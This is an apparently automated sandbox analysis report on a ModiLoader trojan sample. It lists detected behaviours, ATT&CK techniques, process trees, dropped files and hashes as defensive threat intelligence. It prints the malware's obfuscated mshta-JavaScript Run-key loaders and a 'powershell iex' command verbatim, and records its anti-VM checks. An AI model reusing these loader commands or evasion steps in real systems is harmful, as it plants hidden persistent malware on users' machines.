modiloader | 6debd5fd5db7f171afb7e13d314719ff56b66128b1e84a49ca8f002d59237aa0

Analysis

max time kernel
150s
max time network
153s
platform
windows7_x64
resource
win7-20240221-en
resource tags

arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
submitted
11-06-2024 13:01

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

9e41e8aea7a37f6549b4a88419c9c6eb_JaffaCakes118.exe
Size

456KB
MD5

9e41e8aea7a37f6549b4a88419c9c6eb
SHA1

34c8af2de06425ac8a5358039497d1e79f88baaa
SHA256

6debd5fd5db7f171afb7e13d314719ff56b66128b1e84a49ca8f002d59237aa0
SHA512

db0288abd6537b77cbe95b2f59a0ea65a4ba9dd4d793faa8622bfb1f92ad4c7c804806e245f31970fd3beb17fcae89514d747d00cc5026e7c5de8ec9c742453c
SSDEEP

12288:Bnqa+fpGWv1A7o+eb9oN+4x6mTvJF+081I/srN:1qxGM1Ae9oN3z+jFrN

Score

10^/10

modiloader evasion persistence trojan

Malware Config

Signatures

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

mshta.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 2540 2636 mshta.exe
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
evasion

Software Discovery
T1518
Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

9e41e8aea7a37f6549b4a88419c9c6eb_JaffaCakes118.exe

description ioc process

Key opened \REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__ 9e41e8aea7a37f6549b4a88419c9c6eb_JaffaCakes118.exe
Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

regsvr32.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions regsvr32.exe
Looks for VirtualBox drivers on disk 2 TTPs 1 IoCs
evasion

File and Directory Discovery
T1083

Virtualization/Sandbox Evasion
T1497

Processes:

regsvr32.exe

description ioc process

File opened (read-only) C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys regsvr32.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2540	2636	mshta.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	9e41e8aea7a37f6549b4a88419c9c6eb_JaffaCakes118.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions	regsvr32.exe

description	ioc	process
File opened (read-only)	C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys	regsvr32.exe

ModiLoader Second Stage 51 IoCs

Processes:

resource	yara_rule
behavioral1/memory/1772-1-0x0000000000220000-0x0000000000263000-memory.dmp	modiloader_stage2
behavioral1/memory/1772-0-0x0000000000220000-0x0000000000263000-memory.dmp	modiloader_stage2
behavioral1/memory/2464-16-0x0000000000400000-0x0000000000439000-memory.dmp	modiloader_stage2
behavioral1/memory/2464-22-0x0000000000400000-0x0000000000439000-memory.dmp	modiloader_stage2
behavioral1/memory/2464-20-0x0000000000400000-0x0000000000439000-memory.dmp	modiloader_stage2
behavioral1/memory/2464-23-0x0000000000400000-0x0000000000439000-memory.dmp	modiloader_stage2
behavioral1/memory/2464-14-0x0000000000400000-0x0000000000439000-memory.dmp	modiloader_stage2
behavioral1/memory/2464-12-0x0000000000400000-0x0000000000439000-memory.dmp	modiloader_stage2
behavioral1/memory/2464-25-0x0000000000310000-0x00000000003E4000-memory.dmp	modiloader_stage2
behavioral1/memory/2464-29-0x0000000000310000-0x00000000003E4000-memory.dmp	modiloader_stage2
behavioral1/memory/2464-28-0x0000000000310000-0x00000000003E4000-memory.dmp	modiloader_stage2
behavioral1/memory/2464-27-0x0000000000310000-0x00000000003E4000-memory.dmp	modiloader_stage2
behavioral1/memory/2464-26-0x0000000000310000-0x00000000003E4000-memory.dmp	modiloader_stage2
behavioral1/memory/2464-30-0x0000000000310000-0x00000000003E4000-memory.dmp	modiloader_stage2
behavioral1/memory/2464-33-0x0000000000310000-0x00000000003E4000-memory.dmp	modiloader_stage2
behavioral1/memory/1732-43-0x0000000005D60000-0x0000000005E34000-memory.dmp	modiloader_stage2
behavioral1/memory/1712-44-0x0000000000160000-0x000000000029E000-memory.dmp	modiloader_stage2
behavioral1/memory/1712-45-0x0000000000160000-0x000000000029E000-memory.dmp	modiloader_stage2
behavioral1/memory/1712-62-0x0000000000160000-0x000000000029E000-memory.dmp	modiloader_stage2
behavioral1/memory/1712-61-0x0000000000160000-0x000000000029E000-memory.dmp	modiloader_stage2
behavioral1/memory/1712-65-0x0000000000160000-0x000000000029E000-memory.dmp	modiloader_stage2
behavioral1/memory/1712-69-0x0000000000160000-0x000000000029E000-memory.dmp	modiloader_stage2
behavioral1/memory/1712-68-0x0000000000160000-0x000000000029E000-memory.dmp	modiloader_stage2
behavioral1/memory/1712-67-0x0000000000160000-0x000000000029E000-memory.dmp	modiloader_stage2
behavioral1/memory/1712-70-0x0000000000160000-0x000000000029E000-memory.dmp	modiloader_stage2
behavioral1/memory/1712-66-0x0000000000160000-0x000000000029E000-memory.dmp	modiloader_stage2
behavioral1/memory/1712-64-0x0000000000160000-0x000000000029E000-memory.dmp	modiloader_stage2
behavioral1/memory/1712-77-0x0000000000160000-0x000000000029E000-memory.dmp	modiloader_stage2
behavioral1/memory/1732-46-0x0000000002830000-0x0000000004830000-memory.dmp	modiloader_stage2
behavioral1/memory/1712-81-0x0000000000160000-0x000000000029E000-memory.dmp	modiloader_stage2
behavioral1/memory/1712-87-0x0000000000160000-0x000000000029E000-memory.dmp	modiloader_stage2
behavioral1/memory/1712-79-0x0000000000160000-0x000000000029E000-memory.dmp	modiloader_stage2
behavioral1/memory/1712-78-0x0000000000160000-0x000000000029E000-memory.dmp	modiloader_stage2
behavioral1/memory/1712-76-0x0000000000160000-0x000000000029E000-memory.dmp	modiloader_stage2
behavioral1/memory/1712-63-0x0000000000160000-0x000000000029E000-memory.dmp	modiloader_stage2
behavioral1/memory/1712-60-0x0000000000160000-0x000000000029E000-memory.dmp	modiloader_stage2
behavioral1/memory/1712-59-0x0000000000160000-0x000000000029E000-memory.dmp	modiloader_stage2
behavioral1/memory/1712-58-0x0000000000160000-0x000000000029E000-memory.dmp	modiloader_stage2
behavioral1/memory/1712-57-0x0000000000160000-0x000000000029E000-memory.dmp	modiloader_stage2
behavioral1/memory/1712-56-0x0000000000160000-0x000000000029E000-memory.dmp	modiloader_stage2
behavioral1/memory/1712-55-0x0000000000160000-0x000000000029E000-memory.dmp	modiloader_stage2
behavioral1/memory/1712-54-0x0000000000160000-0x000000000029E000-memory.dmp	modiloader_stage2
behavioral1/memory/2556-89-0x0000000000280000-0x00000000003BE000-memory.dmp	modiloader_stage2
behavioral1/memory/2556-88-0x0000000000280000-0x00000000003BE000-memory.dmp	modiloader_stage2
behavioral1/memory/1712-53-0x0000000000160000-0x000000000029E000-memory.dmp	modiloader_stage2
behavioral1/memory/1712-51-0x0000000000160000-0x000000000029E000-memory.dmp	modiloader_stage2
behavioral1/memory/1712-50-0x0000000000160000-0x000000000029E000-memory.dmp	modiloader_stage2
behavioral1/memory/1712-49-0x0000000000160000-0x000000000029E000-memory.dmp	modiloader_stage2
behavioral1/memory/1712-48-0x0000000000160000-0x000000000029E000-memory.dmp	modiloader_stage2
behavioral1/memory/1712-52-0x0000000000160000-0x000000000029E000-memory.dmp	modiloader_stage2
behavioral1/memory/1732-47-0x0000000005D60000-0x0000000005E34000-memory.dmp	modiloader_stage2

Looks for VMWare Tools registry key 2 TTPs 1 IoCs
evasion

Query Registry
T1012

Virtualization/Sandbox Evasion
T1497

Processes:

regsvr32.exe

description ioc process

Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools regsvr32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools	regsvr32.exe

Checks BIOS information in registry 2 TTPs 2 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

regsvr32.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	regsvr32.exe

Deletes itself 1 IoCs

Processes:

regsvr32.exe

pid process

1712 regsvr32.exe

pid	process
1712	regsvr32.exe

Drops startup file 4 IoCs

Processes:

WScript.exeregsvr32.exe9e41e8aea7a37f6549b4a88419c9c6eb_JaffaCakes118.exe

description	ioc	process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mgr.vbs	WScript.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\162913.lnk	regsvr32.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mgr.vbs	9e41e8aea7a37f6549b4a88419c9c6eb_JaffaCakes118.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\mgr.vbs	WScript.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

regsvr32.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "\"C:\\Users\\Admin\\AppData\\Local\\d71742\\cc24ba.lnk\""	regsvr32.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:mb5O8KpKyv=\"n\";ez1=new%20ActiveXObject(\"WScript.Shell\");w0UkiQ1Vl=\"cuWmqf2Wi\";Ec9nU7=ez1.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\ruqqchx\\\\uiksnqah\");P9ZAXiLSe6=\"davfE\";eval(Ec9nU7);eTC7sWIS1s=\"GRk76G\";"	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:IBpJRmK2=\"AOESe\";Ni6=new%20ActiveXObject(\"WScript.Shell\");I0kMB9NNHw=\"u2\";y3lv6r=Ni6.RegRead(\"HKCU\\\\software\\\\ruqqchx\\\\uiksnqah\");HULxfQ6=\"boiBPl\";eval(y3lv6r);crsqJhwF6=\"X\";"	regsvr32.exe

Maps connected drives based on registry 3 TTPs 2 IoCs

Disk information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

regsvr32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum	regsvr32.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0	regsvr32.exe

Drops file in System32 directory 1 IoCs

Processes:

powershell.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 3 IoCs

Processes:

9e41e8aea7a37f6549b4a88419c9c6eb_JaffaCakes118.exepowershell.exeregsvr32.exe

description	pid	process	target process
PID 1772 set thread context of 2464	1772	9e41e8aea7a37f6549b4a88419c9c6eb_JaffaCakes118.exe	9e41e8aea7a37f6549b4a88419c9c6eb_JaffaCakes118.exe
PID 1732 set thread context of 1712	1732	powershell.exe	regsvr32.exe
PID 1712 set thread context of 2556	1712	regsvr32.exe	regsvr32.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 2 IoCs

adware spyware

Modify Registry

T1112

Processes:

regsvr32.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000\Software\Microsoft\Internet Explorer\International	regsvr32.exe

Modifies registry class 7 IoCs

Processes:

regsvr32.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\49de3d\shell\open	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\49de3d\shell\open\command	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\49de3d\shell\open\command\ = "mshta \"javascript:K52KzobhS=\"TDMtMQu8\";sV1=new ActiveXObject(\"WScript.Shell\");m5gwsuIF=\"s\";F4AoK=sV1.RegRead(\"HKCU\\\\software\\\\ruqqchx\\\\uiksnqah\");jk3v7Kte=\"BqCSBhA8i\";eval(F4AoK);Ep4L5ZuC=\"v36wSFm3kz\";\""	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\.c56af49	regsvr32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\.c56af49\ = "49de3d"	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\49de3d	regsvr32.exe
Key created	\REGISTRY\USER\S-1-5-21-330940541-141609230-1670313778-1000_CLASSES\49de3d\shell	regsvr32.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exeregsvr32.exe

pid	process
1732	powershell.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe
1712	regsvr32.exe

Suspicious behavior: MapViewOfSection 2 IoCs

Processes:

powershell.exeregsvr32.exe

pid process

1732 powershell.exe
1712 regsvr32.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1732 powershell.exe

description	pid	process
Token: SeDebugPrivilege	1732	powershell.exe

Suspicious use of WriteProcessMemory 34 IoCs

Processes:

9e41e8aea7a37f6549b4a88419c9c6eb_JaffaCakes118.exemshta.exepowershell.exeregsvr32.exe

description	pid	process	target process
PID 1772 wrote to memory of 1744	1772	9e41e8aea7a37f6549b4a88419c9c6eb_JaffaCakes118.exe	WScript.exe
PID 1772 wrote to memory of 1744	1772	9e41e8aea7a37f6549b4a88419c9c6eb_JaffaCakes118.exe	WScript.exe
PID 1772 wrote to memory of 1744	1772	9e41e8aea7a37f6549b4a88419c9c6eb_JaffaCakes118.exe	WScript.exe
PID 1772 wrote to memory of 1744	1772	9e41e8aea7a37f6549b4a88419c9c6eb_JaffaCakes118.exe	WScript.exe
PID 1772 wrote to memory of 2464	1772	9e41e8aea7a37f6549b4a88419c9c6eb_JaffaCakes118.exe	9e41e8aea7a37f6549b4a88419c9c6eb_JaffaCakes118.exe
PID 1772 wrote to memory of 2464	1772	9e41e8aea7a37f6549b4a88419c9c6eb_JaffaCakes118.exe	9e41e8aea7a37f6549b4a88419c9c6eb_JaffaCakes118.exe
PID 1772 wrote to memory of 2464	1772	9e41e8aea7a37f6549b4a88419c9c6eb_JaffaCakes118.exe	9e41e8aea7a37f6549b4a88419c9c6eb_JaffaCakes118.exe
PID 1772 wrote to memory of 2464	1772	9e41e8aea7a37f6549b4a88419c9c6eb_JaffaCakes118.exe	9e41e8aea7a37f6549b4a88419c9c6eb_JaffaCakes118.exe
PID 1772 wrote to memory of 2464	1772	9e41e8aea7a37f6549b4a88419c9c6eb_JaffaCakes118.exe	9e41e8aea7a37f6549b4a88419c9c6eb_JaffaCakes118.exe
PID 1772 wrote to memory of 2464	1772	9e41e8aea7a37f6549b4a88419c9c6eb_JaffaCakes118.exe	9e41e8aea7a37f6549b4a88419c9c6eb_JaffaCakes118.exe
PID 1772 wrote to memory of 2464	1772	9e41e8aea7a37f6549b4a88419c9c6eb_JaffaCakes118.exe	9e41e8aea7a37f6549b4a88419c9c6eb_JaffaCakes118.exe
PID 1772 wrote to memory of 2464	1772	9e41e8aea7a37f6549b4a88419c9c6eb_JaffaCakes118.exe	9e41e8aea7a37f6549b4a88419c9c6eb_JaffaCakes118.exe
PID 1772 wrote to memory of 2464	1772	9e41e8aea7a37f6549b4a88419c9c6eb_JaffaCakes118.exe	9e41e8aea7a37f6549b4a88419c9c6eb_JaffaCakes118.exe
PID 1772 wrote to memory of 2464	1772	9e41e8aea7a37f6549b4a88419c9c6eb_JaffaCakes118.exe	9e41e8aea7a37f6549b4a88419c9c6eb_JaffaCakes118.exe
PID 2540 wrote to memory of 1732	2540	mshta.exe	powershell.exe
PID 2540 wrote to memory of 1732	2540	mshta.exe	powershell.exe
PID 2540 wrote to memory of 1732	2540	mshta.exe	powershell.exe
PID 2540 wrote to memory of 1732	2540	mshta.exe	powershell.exe
PID 1732 wrote to memory of 1712	1732	powershell.exe	regsvr32.exe
PID 1732 wrote to memory of 1712	1732	powershell.exe	regsvr32.exe
PID 1732 wrote to memory of 1712	1732	powershell.exe	regsvr32.exe
PID 1732 wrote to memory of 1712	1732	powershell.exe	regsvr32.exe
PID 1732 wrote to memory of 1712	1732	powershell.exe	regsvr32.exe
PID 1732 wrote to memory of 1712	1732	powershell.exe	regsvr32.exe
PID 1732 wrote to memory of 1712	1732	powershell.exe	regsvr32.exe
PID 1732 wrote to memory of 1712	1732	powershell.exe	regsvr32.exe
PID 1712 wrote to memory of 2556	1712	regsvr32.exe	regsvr32.exe
PID 1712 wrote to memory of 2556	1712	regsvr32.exe	regsvr32.exe
PID 1712 wrote to memory of 2556	1712	regsvr32.exe	regsvr32.exe
PID 1712 wrote to memory of 2556	1712	regsvr32.exe	regsvr32.exe
PID 1712 wrote to memory of 2556	1712	regsvr32.exe	regsvr32.exe
PID 1712 wrote to memory of 2556	1712	regsvr32.exe	regsvr32.exe
PID 1712 wrote to memory of 2556	1712	regsvr32.exe	regsvr32.exe
PID 1712 wrote to memory of 2556	1712	regsvr32.exe	regsvr32.exe

C:\Users\Admin\AppData\Local\Temp\9e41e8aea7a37f6549b4a88419c9c6eb_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\9e41e8aea7a37f6549b4a88419c9c6eb_JaffaCakes118.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Drops startup file
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:1772

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\cpy.vbs"
2⤵
- Drops startup file
PID:1744

C:\Users\Admin\AppData\Local\Temp\9e41e8aea7a37f6549b4a88419c9c6eb_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\9e41e8aea7a37f6549b4a88419c9c6eb_JaffaCakes118.exe"
2⤵
PID:2464

C:\Windows\system32\mshta.exe
"C:\Windows\system32\mshta.exe" javascript:mkwm6vCgX="1PokyjOgC4";l0K=new%20ActiveXObject("WScript.Shell");kJuJXF5o5="VA1Q3";s7JDM=l0K.RegRead("HKLM\\software\\Wow6432Node\\t77l6Nr3IU\\VRuMTTLJI");Py2Zyggg="b";eval(s7JDM);hj3pKGro="N";
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2540

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:etlk
2⤵
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1732

C:\Windows\SysWOW64\regsvr32.exe
regsvr32.exe
3⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VirtualBox drivers on disk
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Drops startup file
- Adds Run key to start application
- Maps connected drives based on registry
- Suspicious use of SetThreadContext
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1712

C:\Windows\SysWOW64\regsvr32.exe
"C:\Windows\SysWOW64\regsvr32.exe"
4⤵
PID:2556

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Credential Access

Discovery

File and Directory Discovery

T1083

Peripheral Device Discovery

T1120

Query Registry

T1012

Software Discovery

T1518

System Information Discovery

T1082

Virtualization/Sandbox Evasion

T1497

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015
Filesize
70KB

MD5
49aebf8cbd62d92ac215b2923fb1b9f5

SHA1
1723be06719828dda65ad804298d0431f6aff976

SHA256
b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

SHA512
bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015
Filesize
342B

MD5
a2da42d68e2b70d2adf68d7da0706fdd

SHA1
f3c69266adda5dd5da05154687f0424d6a0716c3

SHA256
6c6fb7eae934cb0daacef10f52c9afbfd0ea230c17220ae7f95b4ab98bd29282

SHA512
6c88e49eed05c17448e1efd6f4248e9fa6458cb5df33e8bea1fb41e7760d08ee9f6e7bb8c0a2b05ab6b53d5dafa36e8c371cd6a200106112ee644b403f8cbee1

Download Submit
C:\Users\Admin\AppData\Local\Temp\Tar159A.tmp
Filesize
181KB

MD5
4ea6026cf93ec6338144661bf1202cd1

SHA1
a1dec9044f750ad887935a01430bf49322fbdcb7

SHA256
8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8

SHA512
6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpy.vbs
Filesize
322B

MD5
99156b0549410541660f63f9b50f2072

SHA1
b1f3ba7ed2b99e3fe0790269ffe93164eae2f637

SHA256
fe3f03514cada743490e270e6a12016a13e4a00539f652d107431cd4366275c7

SHA512
a82bdef2a1aae561ef541af5e2d36ed55a6045d15f214d447bac7ac4c879e1519e6e98e7839649a4c2aa10045045589501c4ae7fd8b786ce874d634eb27ae2db

Download Submit
C:\Users\Admin\AppData\Local\Temp\mgr.vbs
Filesize
1KB

MD5
d4757524679d70ee9ce9cda52cf74a4d

SHA1
a87340c553b0b36254c3c62c64d1d80da04cda80

SHA256
656d9d4eb1da609c62ff17caeb566de6f57ac6d90944df858a2e9f2aa743ba2e

SHA512
f2ce74c47e0d5bc06de656c9addcfdac2b79640897eb41932ea10d3403ffc6a2b7530e35aaf8efb4a4beba8555f0a9676593fe92db4763b32713e3acfa1fae00

Download Submit
C:\Users\Admin\AppData\Local\d71742\043bcc.c56af49
Filesize
49KB

MD5
983bce950069f9452b3efeb4a02d7985

SHA1
0d809679c08d198ccbdd98a52151a006f0571ea9

SHA256
4f789746d74d7fc58465bca721ffefdb5b1532fb2d86e168d9ec20ae65d28e1a

SHA512
ebda44c28562d0bc736bc64048113ccb49bbc30b0de37af5c95258c2cb07768489db575fcfb5f0df89328d276685e185846bae49c0dc9fa1056b9f1881c864fb

Download Submit
C:\Users\Admin\AppData\Local\d71742\cc24ba.lnk
Filesize
877B

MD5
79917e4357036f3071f414d76eb705f0

SHA1
f5c19e3b00fcc06cbe791b53b20e9ac701aabd0b

SHA256
cc8e1bbed484a97f98c77a6fc0eab99397f2ab5cd18b3c60bfcd209c9c35b249

SHA512
e09a3385bb67bcfe5057fb5628b17b9d07610d39bae34218f3b127faa1626c7f6886c3a05266d77f457228d265cc412fa67981bbcc3392550b3ca24bced4e678

Download Submit
C:\Users\Admin\AppData\Local\d71742\ee03f2.bat
Filesize
61B

MD5
251c82732dbd03982f565deed73bb4f2

SHA1
2f903f60f1946953494fb995438cc2419abe59df

SHA256
4b67bfb9575e3dffcba2ad2d0c3b194119b1671d0e079ca9a2ff85b177d438f2

SHA512
1c6d1dd21ef660f870e23663b8f895f2255bf43830e93690217124a6b4a8cc563f97a4db145dd247b93bda3d49b7ef9d2ddf4ce58c72eccfb4609a356afd1344

Download Submit
C:\Users\Admin\AppData\Roaming\3aef84\6d4792.c56af49
Filesize
46KB

MD5
bd8a9e65b0efdd3b1b7a59de35fc52e0

SHA1
9cf8641987d9c05198db74fe8c9abaa6dcf2b95c

SHA256
463b57b1bc754abeb250ce60a11bfa7aac1e2e1cd560761c72a2acf4a99dd74b

SHA512
7c3d018f63cb6bf31b0ca0560958170af1fd0098db4b94d47fb2e48f3a8358e6081dc6c883106df515c37912d9f40146158d57011b2810094ceda9229921c011

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\162913.lnk
Filesize
987B

MD5
a5fbb37e3c1bae584827918b82fce002

SHA1
3f38962662fd023f65730709427895e22c602e35

SHA256
4a0e0186c3dedb96651e95828b2d6646bad8a716c79cb85854983b85ae8b9dcf

SHA512
9c2727cd681e18cd60ba2b57e3bec3dcde549378c7e60d8f6ac684f7c59117ece4681a4deacfcde3a3fea735d8d21d065923588a3d89f2c198b478e071c25678

Download Submit
memory/1712-45-0x0000000000160000-0x000000000029E000-memory.dmp

Filesize
1.2MB

Download
memory/1712-68-0x0000000000160000-0x000000000029E000-memory.dmp

Filesize
1.2MB

Download
memory/1712-52-0x0000000000160000-0x000000000029E000-memory.dmp

Filesize
1.2MB

Download
memory/1712-48-0x0000000000160000-0x000000000029E000-memory.dmp

Filesize
1.2MB

Download
memory/1712-49-0x0000000000160000-0x000000000029E000-memory.dmp

Filesize
1.2MB

Download
memory/1712-55-0x0000000000160000-0x000000000029E000-memory.dmp

Filesize
1.2MB

Download
memory/1712-50-0x0000000000160000-0x000000000029E000-memory.dmp

Filesize
1.2MB

Download
memory/1712-56-0x0000000000160000-0x000000000029E000-memory.dmp

Filesize
1.2MB

Download
memory/1712-51-0x0000000000160000-0x000000000029E000-memory.dmp

Filesize
1.2MB

Download
memory/1712-53-0x0000000000160000-0x000000000029E000-memory.dmp

Filesize
1.2MB

Download
memory/1712-57-0x0000000000160000-0x000000000029E000-memory.dmp

Filesize
1.2MB

Download
memory/1712-44-0x0000000000160000-0x000000000029E000-memory.dmp

Filesize
1.2MB

Download
memory/1712-54-0x0000000000160000-0x000000000029E000-memory.dmp

Filesize
1.2MB

Download
memory/1712-62-0x0000000000160000-0x000000000029E000-memory.dmp

Filesize
1.2MB

Download
memory/1712-61-0x0000000000160000-0x000000000029E000-memory.dmp

Filesize
1.2MB

Download
memory/1712-65-0x0000000000160000-0x000000000029E000-memory.dmp

Filesize
1.2MB

Download
memory/1712-69-0x0000000000160000-0x000000000029E000-memory.dmp

Filesize
1.2MB

Download
memory/1712-58-0x0000000000160000-0x000000000029E000-memory.dmp

Filesize
1.2MB

Download
memory/1712-67-0x0000000000160000-0x000000000029E000-memory.dmp

Filesize
1.2MB

Download
memory/1712-70-0x0000000000160000-0x000000000029E000-memory.dmp

Filesize
1.2MB

Download
